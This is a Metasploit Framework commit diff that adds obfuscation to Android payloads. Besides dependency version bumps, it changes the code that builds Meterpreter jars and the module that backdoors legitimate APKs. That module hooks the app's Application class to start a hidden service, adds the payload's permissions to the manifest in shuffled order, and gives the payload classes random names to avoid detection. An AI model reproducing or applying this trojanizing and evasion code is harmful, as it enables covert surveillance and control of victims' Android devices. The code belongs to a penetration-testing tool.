Land #8038, additional android payload obfuscation

bug/bundler_fix 4.14.2
Brent Cook 2017-03-17 00:05:48 -05:00
commit b36527d830
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
4 changed files with 64 additions and 45 deletions

View File

@ -14,7 +14,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.2.17)
metasploit-payloads (= 1.2.18)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.7)
msgpack
@ -190,7 +190,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.2.17)
metasploit-payloads (1.2.18)
metasploit_data_models (2.0.14)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -227,7 +227,7 @@ GEM
pcaprub
patch_finder (1.0.2)
pcaprub (0.12.4)
pg (0.19.0)
pg (0.20.0)
pg_array_parser (0.0.9)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
@ -256,7 +256,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.0.0)
rb-readline (0.5.4)
recog (2.1.4)
recog (2.1.5)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.4)
@ -350,7 +350,7 @@ GEM
thread_safe (~> 0.1)
tzinfo-data (1.2017.1)
tzinfo (>= 1.0.0)
windows_error (0.1.0)
windows_error (0.1.1)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.9.8)

View File

@ -54,15 +54,9 @@ module Msf::Payload::Android
transports: opts[:transport_config] || [transport_config(opts)]
}
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
result = config.to_b
result[0] = "\x01" if opts[:stageless]
result
end
def string_sub(data, placeholder="", input="")
data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length))
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
config[0] = "\x01" if opts[:stageless]
config
end
def sign_jar(jar)
@ -98,14 +92,18 @@ module Msf::Payload::Android
end
def generate_jar(opts={})
config = generate_config(opts)
if opts[:stageless]
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
# Add stageless classname at offset 8000
config += "\x00" * (8000 - config.size)
config += 'com.metasploit.meterpreter.AndroidMeterpreter'
else
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
end
config = generate_config(opts)
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
config += "\x00" * (8195 - config.size)
classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config)
jar = Rex::Zip::Jar.new
files = [

View File

@ -35,9 +35,14 @@ class Msf::Payload::Apk
end
end
# Find the activity that is opened when you click the app icon
def find_launcher_activity(amanifest)
# Find a suitable smali point to hook
def find_hook_point(amanifest)
package = amanifest.xpath("//manifest").first['package']
application = amanifest.xpath('//application')
application_name = application.attribute("name")
if application_name
return application_name.to_s
end
activities = amanifest.xpath("//activity|//activity-alias")
for activity in activities
activityname = activity.attribute("targetActivity")
@ -68,7 +73,7 @@ class Msf::Payload::Apk
}
end
def fix_manifest(tempdir, package)
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
#Load payload's manifest
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
@ -78,6 +83,8 @@ class Msf::Payload::Apk
original_permissions = original_manifest.xpath("//manifest/uses-permission")
old_permissions = []
add_permissions = []
original_permissions.each do |permission|
name = permission.attribute("name").to_s
old_permissions << name
@ -87,21 +94,26 @@ class Msf::Payload::Apk
payload_permissions.each do |permission|
name = permission.attribute("name").to_s
unless old_permissions.include?(name)
print_status("Adding #{name}")
if original_permissions.empty?
application.before(permission.to_xml)
original_permissions = original_manifest.xpath("//manifest/uses-permission")
else
original_permissions.before(permission.to_xml)
end
add_permissions += [permission.to_xml]
end
end
add_permissions.shuffle!
for permission_xml in add_permissions
print_status("Adding #{permission_xml}")
if original_permissions.empty?
application.before(permission_xml)
original_permissions = original_manifest.xpath("//manifest/uses-permission")
else
original_permissions.before(permission_xml)
end
end
application = original_manifest.at_xpath('/manifest/application')
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
service = payload_manifest.at_xpath('/manifest/application/service')
receiver.attributes["name"].value = package + receiver.attributes["name"].value
service.attributes["name"].value = package + service.attributes["name"].value
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
receiver.attributes["label"].value = main_broadcast_receiver
service.attributes["name"].value = package + '.' + main_service
application << receiver.to_xml
application << service.to_xml
@ -110,7 +122,7 @@ class Msf::Payload::Apk
def parse_orig_cert_data(orig_apkfile)
orig_cert_data = Array[]
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
owner_line = keytool_output.match(/^Owner:.+/)[0]
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
orig_cert_data.push("#{orig_cert_dname}")
@ -185,24 +197,22 @@ class Msf::Payload::Apk
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
print_status "Locating hook point..\n"
launcheractivity = find_launcher_activity(amanifest)
unless launcheractivity
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
end
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
hookable_class = find_hook_point(amanifest)
smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
smalifiles = Dir.glob(smalifile)
for smalifile in smalifiles
if File.readable?(smalifile)
activitysmali = File.read(smalifile)
hooksmali = File.read(smalifile)
break
end
end
unless activitysmali
raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n"
unless hooksmali
raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
end
entrypoint = 'return-void'
unless activitysmali.include? entrypoint
unless hooksmali.include? entrypoint
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
end
@ -212,6 +222,10 @@ class Msf::Payload::Apk
package = amanifest.xpath("//manifest").first['package']
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
classes = {}
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
package_slash = package.gsub(/\./, "/")
print_status "Adding payload as package #{package}\n"
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
@ -221,15 +235,22 @@ class Msf::Payload::Apk
# Copy over the payload files, fixing up the smali code
payload_files.each do |file_name|
smali = File.read(file_name)
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
newfilename = "#{payload_dir}#{File.basename file_name}"
File.open(newfilename, "wb") {|file| file.puts newsmali }
smali_class = File.basename file_name
for oldclass, newclass in classes
if smali_class == "#{oldclass}.smali"
smali_class = "#{newclass}.smali"
end
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
end
smali.gsub!(/com\/metasploit\/stage/, package_slash)
newfilename = "#{payload_dir}#{smali_class}"
File.open(newfilename, "wb") {|file| file.puts smali }
end
payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V
payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
^ + entrypoint
hookedsmali = activitysmali.sub(entrypoint, payloadhook)
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
print_status "Loading #{smalifile} and injecting payload..\n"
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
@ -237,7 +258,7 @@ class Msf::Payload::Apk
injected_apk = "#{tempdir}/output.apk"
aligned_apk = "#{tempdir}/aligned.apk"
print_status "Poisoning the manifest with meterpreter permissions..\n"
fix_manifest(tempdir, package)
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")

View File

@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.17'
spec.add_runtime_dependency 'metasploit-payloads', '1.2.18'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
# Needed by msfgui and other rpc components